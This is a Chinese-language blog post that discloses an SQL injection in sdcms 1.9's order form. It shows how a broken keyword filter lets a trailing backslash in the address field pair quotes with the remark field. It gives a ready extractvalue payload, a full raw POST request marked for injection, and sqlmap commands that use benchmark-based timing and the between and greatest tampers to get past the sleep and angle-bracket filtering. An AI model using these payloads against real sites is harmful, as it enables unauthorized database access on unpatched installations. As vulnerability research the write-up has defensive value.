@[TOC]
小众cms的0day有啥用,长毛了都,放出来大家一起学习学习吧
上次写的zzzphp到处都是sql注入有下集预告,现在来补下坑
我这个觉得这次的注入还是比较简单的,也是一个比较经典的问题:不用单引号怎么去注入?或者说,htmlspecialchars($xxxx,ENT_QUOTES,'UTF-8')了,单引号实体化了,怎么去注入?
一般首先会想到的是数字型注入,根本就不需要单引号……
如果必须闭合单引号呢?这里还有一种方法,稍微有些限制,就是如果有两个参数可控的话,用反斜杠\吃掉第一个参数的反单引号,让第一个参数的正单引号和第二个参数的正单引号闭合,然后直接操作第二个参数即可。这次这个sdcms的注入就是这么个情况。
由于根本没学过开发,看到什么control class lib啥的就头痛,很多时候都不知道访问什么url才能执行到这个地方来……
但是sdcms还好,我记得还是今年四月份左右找的这个注入,当时审了一会,没有想象中那么复杂。所以现在大半年过去了,写这个文章前,很快找到了这个注入
cms安装好后,好像是没有测试数据的,前台也啥都没有,url也是我最讨厌的?c=xxx&a=xxx这种形式的。所以我先习惯性的在前台找到留言板,看下url,然后随便提交个留言,看下url。然后就发现url就是127.0.0.1/sdcms1.9/?m=book
好吧,就一个m=book,然后根据经验全局搜索function book(,运气很好找到了,在app\home\controller\othercontroller.php的126行左右
#留言 public function book() { if(IS_POST) { $userip=getip(); #获取IP用户上次留言时间 $rs=$this->db->row("select createdate from sd_book where postip='$userip' order by id desc limit 1"); if($rs) { #默认1分钟 if((time()-$rs['createdate'])/60<1) { $this->error('留言提交太频繁'); return; } } if(F('mobile')==''&&F('tel')=='') { $this->error('请至少填写一种联系方式'); return; } if(F('mobile')!='') { if(!sdcms_verify::check(F('mobile'),'mobile','')) { $this->error('手机号码不正确'); return; } } if(F('tel')!='') { if(!sdcms_verify::check(F('tel'),'tel','')) { $this->error('电话号码不正确'); return; } } $data=[[F('truename'),'null','姓名不能为空'],[F('remark'),'null','留言内容不能为空']]; $v=new sdcms_verify($data); if($v->result()) { $d['truename']=F('truename'); $d['mobile']=F('mobile'); $d['tel']=F('tel'); $d['remark']=F('remark'); $d['islock']=0; $d['ontop']=0; $d['reply']=''; $d['postip']=$userip; $d['createdate']=time(); $this->db->add('sd_book',$d); $this->success('提交成功'); #处理邮件 if(!isempty(C('mail_admin'))) { #获取邮件模板 $mail=$this->mail_temp(0,'book',$this->db); if(count($mail)>0) { $title=$mail['mail_title']; $title=str_replace('$webname',C('web_name'),$title); $title=str_replace('$weburl',WEB_URL,$title); $content=$mail['mail_content']; $content=str_replace('$webname',C('web_name'),$content); $content=str_replace('$weburl',WEB_URL,$content); $content=str_replace('$name',F('truename'),$content); $content=str_replace('$mobile',F('mobile'),$content); $content=str_replace('$tel',F('tel'),$content); $content=str_replace('$remark',F('remark'),$content); #发邮件 send_mail(C('mail_admin'),$title,$content); } } } else { $this->error($v->msg); } } else { $this->display(T('book')); } }
贴这个代码我只是想说我关注了两个东西,一个是他通过函数F来获取参数,另一个就是db->add来往数据库里插入数据
跟踪函数F,在/app/function.php的73行左右:
#F函数(get和post) function F($a,$b='') { $a=strtolower($a); if(!strpos($a,'.')) { $method='other'; } else { list($method,$a)=explode('.',$a,2); } switch ($method) { case 'get': $input=$_GET; break; case 'post': $input=$_POST; break; case 'other': switch (REQUEST_METHOD) { case 'GET': $input=$_GET; break; case 'POST': $input=$_POST; break; default: return ''; break; } break; default: return ''; break; } $data=isset($input[$a])?$input[$a]:$b; if(is_string($data)) { $data=enhtml(trim($data)); } return $data; }
这函数大体上没搞事情,就是获取参数,中间调用了个enhtml,感觉这个函数是搞事情的
enhtml在/app/function.php的374行左右:
function enhtml($a) { if(is_array($a)) { foreach ($a as $key=>$val) { $a[$key]=enhtml($val); } } else { $a=htmlspecialchars(filterExp(stripslashes($a)),ENT_QUOTES,'UTF-8'); $a=str_replace('&','&',$a); return $a; } }
先filterExp处理了下,然后给htmlspecialchars了
函数filterExp在/app/function.php的408行左右:
function filterExp($a) { return (preg_match('/^select|insert|create|update|delete|alter|sleep|payload|assert|\'|\\|\.\.\/|\.\/|load_file|outfile/i',$a))?'':$a; }
看到这个写法我确实是一脸懵逼的,过滤关键字没错,可你正则匹配select时加个^来匹配开头是啥意思???
然后,php中的反斜杠是这样匹配吗???(我一开始也没注意,以为是过滤了反斜杠,然后在echo F('xx')测试F函数的时侯,发现传反斜杠时,输出了,没过滤,仔细一看才发现问题……)
我就感觉sleep过滤了有点用,不能用sleep延迟,update过滤了也有点用,不能用updatexml报错注,其他好像没什么影响,哦,对了,也过滤了单引号
所以,综上,通过函数F获取参数的话,过滤了关键字sleep、update、单引号等,并且htmlspecialchars($xxx,ENT_QUOTES,'UTF-8')了。
首先肯定是找数字型注入,在前台简单找了几分钟,没找着,因为我感觉不会有这么低级的错误。(我印象中后台好像有参数直接拼接到等于号后面,也没用单引号把参数包起来)
然后直接找前台的insert操作吧,一般这种肯定会有两个参数及以上可控,用反斜线转义第一个反单引号
肯定还是先看留言板操作,上面已经粘出代码了。这里给出重要截图:
truename,完全可控
mobile,不完全可控,149行左右:if(!sdcms_verify::check(F('mobile'),'mobile','')),要满足手机号格式
tel,同上
remark,完全可控
userip,可通过XFF改,但也是要满足格式的
所以这里有是有两个可控参数,但是,,没有挨着。
什么叫挨着?就是这两个可控参数挨在一起,比如说:
INSERT INTO A(name,ip,content,time) VALUES ('aaa','127.0.0.1','bbb',now());
name、content可控
如果name传aaa\,那么,sql语句:
INSERT INTO A(name,ip,content,time) VALUES ('aaa\','127.0.0.1','bbb',now());
name的单引号和ip的正单引号闭合了,后面的127.0.0.1啥的咋办,不管你怎么写第二个可控参数,语法就是错的
(如果这里有哪位师傅能够构造出正确的sql语句,请指教)
所以说,两个可控参数挨在一起才能形成一个可利用的注入点
然后全局搜索关键字db->add(,有很多,,不过我运气挺好的,挑的第一个分析就有了……
还是在提交留言的这个页面,app\home\controller\othercontroller.php的283行左右有个函数order,里面有个插入操作$this->db->add('sd_order',$d);
#订单 public function order() { if(IS_POST) { $id=getint(F("get.id"),0); $userip=getip(); $userid=USER_ID; if(C('web_order_login')==1) { if($userid==0) { $this->error('请先登录或注册'); return; } } #获取IP用户上次提交时间 $rs=$this->db->row("select createdate from sd_order where postip='$userip' and userid=$userid order by id desc limit 1"); if($rs) { #默认1分钟 if((time()-$rs['createdate'])/60<1) { $this->error('提交太频繁'); return; } } $rs=$this->db->row("select title,price from sd_model_pro left join sd_content on sd_model_pro.cid=sd_content.id where islock=1 and id=$id limit 1"); if(!$rs) { $this->error('参数错误'); } else { $proname=enhtml($rs['title']); $price=$rs['price']; $data=[[F('truename'),'null','姓名不能为空'],[F('mobile'),'mobile','手机号码不正确'],[F('pronum'),'int','订购数量不能为空'],[(getint(F('pronum'),0)!=0),'other','订购数量不能为空'],[F('address'),'null','收货地址不能为空']]; $v=new sdcms_verify($data); if($v->result()) { $orderid=date('YmdHis').mt_rand(0,9); $d['pro_name']=$proname; $d['pro_num']=getint(F('pronum'),0); $d['pro_price']=getint(F('pronum'),0)*$price; $d['orderid']=$orderid; $d['truename']=F('truename'); $d['mobile']=F('mobile'); $d['address']=F('address'); $d['remark']=F('remark'); $d['ispay']=0; $d['isover']=0; $d['createdate']=time(); $d['postip']=$userip; $d['userid']=$userid; $this->db->add('sd_order',$d); $this->success(U('other/ordershow','orderid='.$orderid.'')); #处理邮件 if(!isempty(C('mail_admin'))) { #获取邮件模板 $mail=parent::mail_temp(0,'order'); if(count($mail)>0) { $title=$mail['mail_title']; $title=str_replace('$webname',C('web_name'),$title); $title=str_replace('$weburl',WEB_URL,$title); $content=$mail['mail_content']; $content=str_replace('$webname',C('web_name'),$content); $content=str_replace('$weburl',WEB_URL,$content); $content=str_replace('$orderid',$orderid,$content); $content=str_replace('$proname',$proname,$content); $content=str_replace('$num',getint(F('pronum'),0),$content); $content=str_replace('$money',getint(F('pronum'),0)*$price,$content); $content=str_replace('$name',F('truename'),$content); $content=str_replace('$mobile',F('mobile'),$content); $content=str_replace('$address',F('address'),$content); $content=str_replace('$remark',F('remark'),$content); #发邮件 send_mail(C('mail_admin'),$title,$content); } } } else { $this->error($v->msg); } } } }
代码很长,,关注两处地方即可
第一处:
貌似需要登录,并且要满足这个查询有结果
第二处:
这个地方很明显了,有两个挨着一起的完全可控参数address和remark
所以第一处该怎么满足?
首先他判断了C('web_order_login')=1才需要登录,默认情况下,C('web_order_login')是等于0的
如果管理员设置了需要登录的话,注册个用户就好了,默认就是可以注册的
其他他这个就是个商品的下单操作,下单时,必须得有商品,只要有商品,就能满足那个sql查询,成功进入到下单插数据库的操作
自己测试时,搭建这个cms是没有任何数据的,所以也不存在商品,所以是无法进入到这个触发注入的那块代码的
所以先登后台,添加一个商品:
然后就ok了,在前台找到该商品,我这里是127.0.0.1/sdcms1.9/?c=index&a=show&id=1
然后点我要订购,填好数据抓包即可,我这里用户名填的aaa\,看看是否会触发报错
日志在app\lib\log目录下,以时间戳命名的,我这里是2019-12-23-18-14-37.txt,应该就是23号18点14分37秒
报错内容为:
Sql:insert into sd_order (`pro_name`,`pro_num`,`pro_price`,`orderid`,`truename`,`mobile`,`address`,`remark`,`ispay`,`isover`,`createdate`,`postip`,`userid`) values ('家电1111111','1','123','201912231814373','aaa\','18888888888','address','qqqqqqqqqqqqqqqq','0','0','1577096077','127.0.0.1','0')<br>日期:2019-12-23 18:14:37<br>详细:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '18888888888','address','qqqqqqqqqqqqqqqq','0','0','1577096077','127.0.0.1','0')' at line 1<br>Url:/sdcms1.9/?c=other&a=order&id=1<br>IP:127.0.0.1
所以直接开始构造注入语句了,用extractvalue报错注吧
其他参数正常随便传,
address传aa\
remark传,1 and extractvalue(1,concat(0x7e,(select user()),0x7e)),1,1,1,1,1)#
考虑直接使用延时注入吧,毕竟他的报错不回显,在日志里面,还得根据时间跑一下他的日志文件名称,虽然也不是很难
首先肯定是用-r的方式来注入,然后把sqlmap要跑的地方用*代替,数据包如下
POST /sdcms1.9/?c=other&a=order&id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/sdcms1.9/?c=index&a=show&id=1
Content-Length: 128
Cookie:
X-Forwarded-For: 127.0.0.1
Connection: close
truename=aaa&mobile=18888888888&pronum=1&address=aa\&remark=,1 *,1,1,1,1,1)#
然后sqlmap.py -r ../1.txt --dbms=mysql --technique=T
不出所料,肯定是找不到注入的。Why?sqlmap的时间盲注,他会直接先把sleep往上整,但是sleep过滤了,当然跑不出注入
这里要benchmark注,虽然我感觉sqlmap肯定也会有benchmark的payload,但是一开始sqlmap就会先sleep,没有的话那就没有了,怎么办……
查了下sqlmap的文档,sqlmap.py -hh,有那么个东西:
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
这个好像是说可以自己选择payload,所以我就:
sqlmap.py -r ../1.txt --dbms=mysql --technique=T --test-filter=benchmark
如图,成功判断出注入点了,但是注意带还是有个小问题,竟然没有出数据库版本
所以我怀疑,能出数据吗?
跑一下当前用户:
sqlmap.py -r ../1.txt --dbms=mysql --technique=T --test-filter=benchmark --current-user
果不其然,啥返回也没有
然后我加上了-v 3查看了一下payload是啥情况:
sqlmap.py -r ../1.txt --dbms=mysql --technique=T --test-filter=benchmark --current-user -v 3
看到这我好像就明白了,他用了大于号小于号,而传入的参数都被htmlspecialchars了,所以当然跑不出数据
这个问题就直接考虑tamper了,自己不会写高大上的tamper,难道还不会查吗,而且我印象中sqlmap自带的是有可以替换大于小于号的tamper……
然后查到了
这下问题应该就直接解决了
sqlmap.py -r ../1.txt --dbms=mysql --technique=T --test-filter=benchmark --current-user -v 3 --tamper=between,greatest
接下来准备看看这个sdcms后台有没有getshell的方法,找不到就算了
找不到的话,然后接下来的打算是搞一搞UsualToolCMS最新版的,好像这个cms洞挺多的,看看能不能挖到新的
既然写了下集预告,这个坑肯定会填上的
欢迎各位师傅交流